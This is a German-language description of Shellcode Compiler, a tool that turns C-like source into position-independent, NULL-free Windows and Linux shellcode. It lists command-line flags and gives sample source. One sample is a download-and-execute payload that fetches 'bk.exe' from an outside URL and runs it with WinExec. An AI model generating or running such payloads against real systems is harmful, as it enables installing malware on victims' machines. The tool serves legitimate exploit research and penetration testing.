
Shellcode-Compiler
Shellcode Compiler ist ein Programm, das C/C++-ähnlichen Code in einen kleinen, positionsunabhängigen und NULL-freien Shellcode für Windows (x86 und x64) und Linux (x86 und x64) kompiliert. Es ist möglich, jede Windows-API-Funktion oder jeden Linux-Syscall auf benutzerfreundliche Weise aufzurufen.
Shellcode Compiler nimmt eine Quelldatei als Eingabe und verwendet seinen eigenen Compiler, um den Code zu interpretieren und eine Assembler-Datei zu generieren, die mit der Keystone-Engine assembliert wird.
-h (--help) : Diese Hilfemeldung anzeigen
-p (--platform) : Shellcode-Plattform: win_x86,win_x64,linux_x86,linux_x64
-v (--verbose) : Detaillierte Ausgabe ausgeben
-t (--test) : Generierten Shellcode testen (ausführen)
-r (--read) : Quellcodedatei lesen
-o (--output) : Ausgabedatei des generierten binären Shellcodes
-a (--assembbly) : Ausgabedatei des generierten Assembbly-Codes
function URLDownloadToFileA("urlmon.dll");
function WinExec("kernel32.dll");
function ExitProcess("kernel32.dll");
URLDownloadToFileA(0,"https://site.com/bk.exe","bk.exe",0,0);
WinExec("bk.exe",0);
ExitProcess(0);
chmod("/root/chmodme",511);
write(1,"Hello, world",12);
kill(1661,9);
getpid();
execve("/usr/bin/burpsuite",0,0);
exit(2);
ShellcodeCompiler.exe -r Source.txt -o Shellcode.bin -a Assembly.asm -p win_x64
Es gibt auch viele weitere Einschränkungen. Dies ist eine Alpha-Version. Bitte melden Sie Fehler oder Vorschläge.
Ionut Popescu (@NytroRST)